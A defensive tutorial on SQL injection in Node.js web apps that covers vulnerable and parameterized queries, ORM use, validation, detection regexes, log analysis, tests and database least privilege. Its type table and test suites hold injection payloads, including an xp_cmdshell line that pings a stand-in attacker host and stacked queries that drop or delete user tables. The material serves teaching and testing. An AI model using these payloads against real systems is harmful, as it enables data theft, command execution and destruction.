SQL Injection: Detection and Prevention

Introduction

SQL Injection remains one of the most dangerous and prevalent web application vulnerabilities, consistently ranking in the OWASP Top 10. Despite being well-known for decades, SQL injection attacks continue to compromise databases and expose sensitive data.

This comprehensive guide explores SQL injection attacks in depth, covering detection techniques, prevention strategies, secure coding practices, and testing methodologies to protect your applications from this critical vulnerability.

Understanding SQL Injection

How SQL Injection Works

SQL injection occurs when untrusted data is concatenated into SQL queries:

// VULNERABLE: String concatenation
app.get('/users', async (req, res) => {
  const email = req.query.email;
  const query = `SELECT * FROM users WHERE email = '${email}'`;
  const users = await db.query(query);
  res.json(users);
});

// Attack: /users?email=' OR '1'='1
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns all users!

Types of SQL Injection

const SQLInjectionTypes = {
  classic: {
    description: 'Direct manipulation of SQL query results',
    example: "admin' --",
    impact: 'Bypass authentication, retrieve data'
  },

  union: {
    description: 'Combine results from multiple queries',
    example: "' UNION SELECT username, password FROM admin_users --",
    impact: 'Extract data from other tables'
  },

  boolean: {
    description: 'Infer data through true/false responses',
    example: "' AND 1=1 --",
    impact: 'Extract data byte by byte'
  },

  time: {
    description: 'Use time delays to infer data',
    example: "'; WAITFOR DELAY '00:00:05' --",
    impact: 'Blind data extraction'
  },

  outOfBand: {
    description: 'Exfiltrate data via alternative channels',
    example: "'; EXEC xp_cmdshell('ping attacker.com') --",
    impact: 'Remote code execution, data exfiltration'
  }
};

Detection Techniques

Input Pattern Recognition

const SQLInjectionDetector = {
  // Common SQL injection patterns
  patterns: [
    /(\b(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC|EXECUTE)\b)/i,
    /(--|\#|\/\*|\*\/)/,
    /(\b(OR|AND)\b.*=.*)/i,
    /('|\"|;|\\x27|\\x22)/,
    /(\bxp_\w+)/i,  // SQL Server extended procedures
    /(\bUTL_HTTP\b)/i,  // Oracle HTTP package
    /(\bLOAD_FILE\b)/i,  // MySQL file operations
  ],

  detect(input) {
    if (!input || typeof input !== 'string') {
      return { suspicious: false };
    }

    const matches = [];

    for (const pattern of this.patterns) {
      if (pattern.test(input)) {
        matches.push({
          pattern: pattern.source,
          matched: input.match(pattern)[0]
        });
      }
    }

    return {
      suspicious: matches.length > 0,
      matches,
      severity: matches.length > 2 ? 'high' : 'medium'
    };
  }
};

// Detection middleware
function detectSQLInjection(req, res, next) {
  const inputs = {
    ...req.query,
    ...req.body,
    ...req.params
  };

  for (const [key, value] of Object.entries(inputs)) {
    const result = SQLInjectionDetector.detect(value);

    if (result.suspicious) {
      logger.warn('SQL Injection attempt detected', {
        key,
        value,
        matches: result.matches,
        ip: req.ip,
        userAgent: req.get('user-agent')
      });

      return res.status(400).json({
        error: 'Invalid input detected'
      });
    }
  }

  next();
}

app.use(detectSQLInjection);

Log Analysis

class SQLInjectionLogAnalyzer {
  async analyzeAccessLogs(logs) {
    const suspiciousRequests = [];

    for (const log of logs) {
      const url = new URL(log.request.url, 'http://example.com');
      const params = Object.fromEntries(url.searchParams);

      // Check for SQL injection patterns
      for (const [key, value] of Object.entries(params)) {
        const detection = SQLInjectionDetector.detect(value);

        if (detection.suspicious) {
          suspiciousRequests.push({
            timestamp: log.timestamp,
            ip: log.ip,
            url: log.request.url,
            parameter: key,
            value,
            matches: detection.matches,
            severity: detection.severity
          });
        }
      }
    }

    // Group by IP for pattern analysis
    const byIP = suspiciousRequests.reduce((acc, req) => {
      if (!acc[req.ip]) acc[req.ip] = [];
      acc[req.ip].push(req);
      return acc;
    }, {});

    // Identify repeated attackers
    const attackers = Object.entries(byIP)
      .filter(([ip, requests]) => requests.length > 5)
      .map(([ip, requests]) => ({
        ip,
        attempts: requests.length,
        firstSeen: requests[0].timestamp,
        lastSeen: requests[requests.length - 1].timestamp
      }));

    return {
      suspiciousRequests,
      attackers,
      totalAttempts: suspiciousRequests.length
    };
  }

  async blockAttackers(attackers) {
    for (const attacker of attackers) {
      await Firewall.blockIP(attacker.ip, {
        reason: 'SQL Injection attempts',
        attempts: attacker.attempts,
        duration: 86400 // 24 hours
      });

      logger.info('Blocked IP for SQL injection attempts', attacker);
    }
  }
}

Prevention: Parameterized Queries

Node.js with PostgreSQL

const { Pool } = require('pg');
const pool = new Pool({
  host: process.env.DB_HOST,
  database: process.env.DB_NAME,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD
});

class UserRepository {
  // SECURE: Parameterized query
  async findByEmail(email) {
    const query = {
      text: 'SELECT id, email, name FROM users WHERE email = $1',
      values: [email]
    };

    const result = await pool.query(query);
    return result.rows[0];
  }

  // SECURE: Multiple parameters
  async search(filters) {
    const { email, status, createdAfter } = filters;

    const query = {
      text: `
        SELECT id, email, name, status, created_at
        FROM users
        WHERE email LIKE $1
          AND status = $2
          AND created_at > $3
        ORDER BY created_at DESC
        LIMIT 100
      `,
      values: [`%${email}%`, status, createdAfter]
    };

    const result = await pool.query(query);
    return result.rows;
  }

  // SECURE: Dynamic WHERE clause with parameters
  async findByFilters(filters) {
    const conditions = [];
    const values = [];
    let paramCounter = 1;

    if (filters.email) {
      conditions.push(`email = $${paramCounter++}`);
      values.push(filters.email);
    }

    if (filters.status) {
      conditions.push(`status = $${paramCounter++}`);
      values.push(filters.status);
    }

    if (filters.role) {
      conditions.push(`role = $${paramCounter++}`);
      values.push(filters.role);
    }

    const whereClause = conditions.length > 0
      ? `WHERE ${conditions.join(' AND ')}`
      : '';

    const query = {
      text: `SELECT * FROM users ${whereClause}`,
      values
    };

    const result = await pool.query(query);
    return result.rows;
  }
}

Node.js with MySQL

const mysql = require('mysql2/promise');

const pool = mysql.createPool({
  host: process.env.DB_HOST,
  database: process.env.DB_NAME,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
});

class ProductRepository {
  // SECURE: Prepared statement
  async findById(id) {
    const [rows] = await pool.execute(
      'SELECT * FROM products WHERE id = ?',
      [id]
    );
    return rows[0];
  }

  // SECURE: Multiple parameters
  async search(criteria) {
    const [rows] = await pool.execute(
      `SELECT * FROM products
       WHERE category = ?
         AND price BETWEEN ? AND ?
         AND in_stock = ?
       ORDER BY created_at DESC
       LIMIT ?`,
      [
        criteria.category,
        criteria.minPrice,
        criteria.maxPrice,
        criteria.inStock,
        criteria.limit || 50
      ]
    );
    return rows;
  }

  // SECURE: Batch insert
  async createMany(products) {
    const values = products.map(p => [p.name, p.category, p.price, p.stock]);

    const [result] = await pool.query(
      'INSERT INTO products (name, category, price, stock) VALUES ?',
      [values]
    );

    return result.affectedRows;
  }
}

ORM Usage

const { Sequelize, DataTypes } = require('sequelize');

const sequelize = new Sequelize(
  process.env.DB_NAME,
  process.env.DB_USER,
  process.env.DB_PASSWORD,
  {
    host: process.env.DB_HOST,
    dialect: 'postgres',
    logging: false
  }
);

// Define model
const User = sequelize.define('User', {
  email: {
    type: DataTypes.STRING,
    allowNull: false,
    unique: true,
    validate: {
      isEmail: true
    }
  },
  name: {
    type: DataTypes.STRING,
    allowNull: false
  },
  status: {
    type: DataTypes.ENUM('active', 'inactive', 'suspended'),
    defaultValue: 'active'
  }
});

// SECURE: ORM methods automatically use parameterized queries
class UserService {
  async findByEmail(email) {
    return await User.findOne({
      where: { email },
      attributes: ['id', 'email', 'name', 'status']
    });
  }

  async search(filters) {
    const where = {};

    if (filters.email) {
      where.email = { [Sequelize.Op.like]: `%${filters.email}%` };
    }

    if (filters.status) {
      where.status = filters.status;
    }

    if (filters.createdAfter) {
      where.createdAt = { [Sequelize.Op.gt]: filters.createdAfter };
    }

    return await User.findAll({
      where,
      order: [['createdAt', 'DESC']],
      limit: 100
    });
  }

  async updateStatus(userId, status) {
    const [affectedRows] = await User.update(
      { status },
      { where: { id: userId } }
    );

    return affectedRows > 0;
  }
}

Input Validation and Sanitization

Comprehensive Validation

const Joi = require('joi');

class InputValidator {
  // Schema definitions
  static schemas = {
    user: Joi.object({
      email: Joi.string().email().required(),
      name: Joi.string().min(2).max(100).required(),
      age: Joi.number().integer().min(18).max(120).optional(),
      role: Joi.string().valid('user', 'admin', 'moderator').default('user')
    }),

    search: Joi.object({
      query: Joi.string().max(200).required(),
      category: Joi.string().alphanum().max(50).optional(),
      page: Joi.number().integer().min(1).default(1),
      limit: Joi.number().integer().min(1).max(100).default(20)
    }),

    id: Joi.alternatives().try(
      Joi.number().integer().positive(),
      Joi.string().uuid()
    )
  };

  static validate(schema, data) {
    const { error, value } = schema.validate(data, {
      abortEarly: false,
      stripUnknown: true
    });

    if (error) {
      throw new ValidationError(
        error.details.map(d => d.message).join(', ')
      );
    }

    return value;
  }

  // Whitelist validation for dynamic ORDER BY
  static validateOrderBy(field, allowedFields) {
    const normalizedField = field.toLowerCase();

    if (!allowedFields.includes(normalizedField)) {
      throw new ValidationError(`Invalid sort field: ${field}`);
    }

    return normalizedField;
  }

  // Validate table/column names (when absolutely necessary)
  static validateIdentifier(identifier) {
    // Only allow alphanumeric and underscore
    if (!/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(identifier)) {
      throw new ValidationError('Invalid identifier');
    }

    // Check against whitelist of known tables/columns
    const allowedIdentifiers = [
      'users', 'products', 'orders',
      'id', 'name', 'email', 'created_at'
    ];

    if (!allowedIdentifiers.includes(identifier.toLowerCase())) {
      throw new ValidationError(`Identifier not allowed: ${identifier}`);
    }

    return identifier;
  }
}

// Usage in routes
app.get('/api/users/search', async (req, res) => {
  try {
    // Validate input
    const validated = InputValidator.validate(
      InputValidator.schemas.search,
      req.query
    );

    // Safe to use validated data
    const users = await UserService.search(validated);

    res.json(users);
  } catch (error) {
    if (error instanceof ValidationError) {
      res.status(400).json({ error: error.message });
    } else {
      res.status(500).json({ error: 'Internal server error' });
    }
  }
});

app.get('/api/users', async (req, res) => {
  try {
    const { sortBy, order } = req.query;

    // Validate sort field against whitelist
    const validatedSortBy = InputValidator.validateOrderBy(
      sortBy || 'created_at',
      ['created_at', 'email', 'name', 'status']
    );

    const validatedOrder = order === 'desc' ? 'DESC' : 'ASC';

    const users = await User.findAll({
      order: [[validatedSortBy, validatedOrder]]
    });

    res.json(users);
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

Stored Procedures

Using Stored Procedures for Security

-- Create stored procedure
CREATE OR REPLACE FUNCTION get_user_by_email(user_email VARCHAR)
RETURNS TABLE(id INT, email VARCHAR, name VARCHAR, status VARCHAR) AS $$
BEGIN
  RETURN QUERY
  SELECT u.id, u.email, u.name, u.status
  FROM users u
  WHERE u.email = user_email;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

-- Create procedure with input validation
CREATE OR REPLACE FUNCTION create_user(
  p_email VARCHAR,
  p_name VARCHAR,
  p_password_hash VARCHAR
)
RETURNS INT AS $$
DECLARE
  new_user_id INT;
BEGIN
  -- Validation
  IF p_email !~ '^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}$' THEN
    RAISE EXCEPTION 'Invalid email format';
  END IF;

  IF LENGTH(p_name) < 2 OR LENGTH(p_name) > 100 THEN
    RAISE EXCEPTION 'Name must be between 2 and 100 characters';
  END IF;

  -- Insert
  INSERT INTO users (email, name, password_hash, created_at)
  VALUES (p_email, p_name, p_password_hash, NOW())
  RETURNING id INTO new_user_id;

  RETURN new_user_id;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

// Call stored procedures from Node.js
class SecureUserRepository {
  async findByEmail(email) {
    const result = await pool.query(
      'SELECT * FROM get_user_by_email($1)',
      [email]
    );
    return result.rows[0];
  }

  async create(userData) {
    const passwordHash = await bcrypt.hash(userData.password, 12);

    const result = await pool.query(
      'SELECT create_user($1, $2, $3) as user_id',
      [userData.email, userData.name, passwordHash]
    );

    return result.rows[0].user_id;
  }

  async search(filters) {
    const result = await pool.query(
      'SELECT * FROM search_users($1, $2, $3)',
      [filters.email, filters.status, filters.limit]
    );
    return result.rows;
  }
}

Security Testing

Automated SQL Injection Testing

const request = require('supertest');

describe('SQL Injection Security Tests', () => {
  const injectionPayloads = [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "' OR '1'='1' /*",
    "admin' --",
    "' UNION SELECT NULL--",
    "' UNION SELECT username, password FROM users--",
    "'; DROP TABLE users--",
    "1' AND 1=1--",
    "1' AND 1=2--",
    "' AND SLEEP(5)--",
    "' WAITFOR DELAY '00:00:05'--",
    "1'; EXEC xp_cmdshell('dir')--",
    "' OR 1=1#",
    "' OR '1'='1' ({",
    "' OR '1'='1' /*"
  ];

  describe('Login Endpoint', () => {
    injectionPayloads.forEach(payload => {
      it(`should reject SQL injection: ${payload}`, async () => {
        const response = await request(app)
          .post('/login')
          .send({
            email: payload,
            password: 'password'
          });

        expect(response.status).toBeGreaterThanOrEqual(400);
        expect(response.body.error).toBeDefined();
      });
    });
  });

  describe('Search Endpoint', () => {
    it('should handle SQL injection in query parameter', async () => {
      const response = await request(app)
        .get('/api/users')
        .query({ email: "' OR '1'='1" });

      expect(response.status).toBe(400);
    });

    it('should handle union-based injection', async () => {
      const response = await request(app)
        .get('/api/products')
        .query({
          category: "' UNION SELECT username, password FROM admin_users--"
        });

      expect(response.status).toBe(400);
    });
  });

  describe('ID Parameter', () => {
    it('should reject SQL injection in ID parameter', async () => {
      const response = await request(app)
        .get('/api/users/1 OR 1=1')
        .set('Authorization', `Bearer ${token}`);

      expect(response.status).toBe(400);
    });
  });
});

Manual Testing Checklist

const SQLInjectionTestCases = [
  {
    name: 'Classic SQL Injection',
    payloads: [
      "' OR '1'='1",
      "admin' --",
      "' OR 1=1--"
    ],
    expectedBehavior: 'Reject with 400 error'
  },
  {
    name: 'Union-based Injection',
    payloads: [
      "' UNION SELECT NULL--",
      "' UNION SELECT username, password FROM users--"
    ],
    expectedBehavior: 'Reject with 400 error'
  },
  {
    name: 'Boolean-based Blind',
    payloads: [
      "' AND 1=1--",
      "' AND 1=2--"
    ],
    expectedBehavior: 'Both should return same result'
  },
  {
    name: 'Time-based Blind',
    payloads: [
      "' AND SLEEP(5)--",
      "' WAITFOR DELAY '00:00:05'--"
    ],
    expectedBehavior: 'Should not cause delay'
  },
  {
    name: 'Stacked Queries',
    payloads: [
      "'; DROP TABLE users--",
      "'; DELETE FROM users WHERE '1'='1--"
    ],
    expectedBehavior: 'Reject with 400 error, no DB changes'
  }
];

Database Security Best Practices

Least Privilege Principle

-- Create read-only user for application
CREATE USER app_readonly WITH PASSWORD 'strong_password';

-- Grant only SELECT on specific tables
GRANT SELECT ON users TO app_readonly;
GRANT SELECT ON products TO app_readonly;
GRANT SELECT ON orders TO app_readonly;

-- Create write user with limited permissions
CREATE USER app_writer WITH PASSWORD 'strong_password';

GRANT SELECT, INSERT, UPDATE ON users TO app_writer;
GRANT SELECT, INSERT, UPDATE ON products TO app_writer;
GRANT SELECT, INSERT, UPDATE ON orders TO app_writer;

-- Revoke dangerous permissions
REVOKE CREATE, DROP, ALTER ON ALL TABLES FROM app_writer;

-- Use different users for different operations
const readPool = new Pool({
  user: 'app_readonly',
  // ... other config
});

const writePool = new Pool({
  user: 'app_writer',
  // ... other config
});

Database Monitoring

class DatabaseMonitor {
  async detectAnomalies() {
    // Monitor query patterns
    const slowQueries = await this.getSlowQueries();
    const unusualPatterns = await this.detectUnusualPatterns();

    // Alert on suspicious activity
    for (const query of slowQueries) {
      if (this.isSuspicious(query)) {
        await this.alertSecurityTeam({
          type: 'suspicious_query',
          query: query.sql,
          duration: query.duration,
          user: query.user
        });
      }
    }
  }

  isSuspicious(query) {
    const suspiciousPatterns = [
      /UNION.*SELECT/i,
      /DROP\s+TABLE/i,
      /DELETE.*WHERE.*1.*=.*1/i,
      /EXEC.*xp_/i,
      /SLEEP\(/i,
      /WAITFOR\s+DELAY/i
    ];

    return suspiciousPatterns.some(pattern =>
      pattern.test(query.sql)
    );
  }

  async getSlowQueries() {
    // PostgreSQL example
    const result = await pool.query(`
      SELECT query, total_time, calls, mean_time
      FROM pg_stat_statements
      WHERE mean_time > 1000
      ORDER BY mean_time DESC
      LIMIT 100
    `);

    return result.rows;
  }
}

Conclusion

SQL Injection remains a critical vulnerability that can have devastating consequences for applications and their users. By implementing the prevention strategies outlined in this guide, you can effectively eliminate SQL injection risks from your applications.

Key takeaways:

• Always use parameterized queries or prepared statements
• Never concatenate user input into SQL queries
• Implement comprehensive input validation
• Use ORMs correctly to leverage built-in protections
• Apply the principle of least privilege for database users
• Monitor and log database access patterns
• Regularly test for SQL injection vulnerabilities
• Use stored procedures for complex operations
• Validate dynamic SQL elements against whitelists
• Keep database systems and drivers updated

Remember that preventing SQL injection is not a one-time task but requires ongoing vigilance, code reviews, and security testing. By making parameterized queries the default in your codebase and implementing defense in depth, you can build applications that are resilient against SQL injection attacks.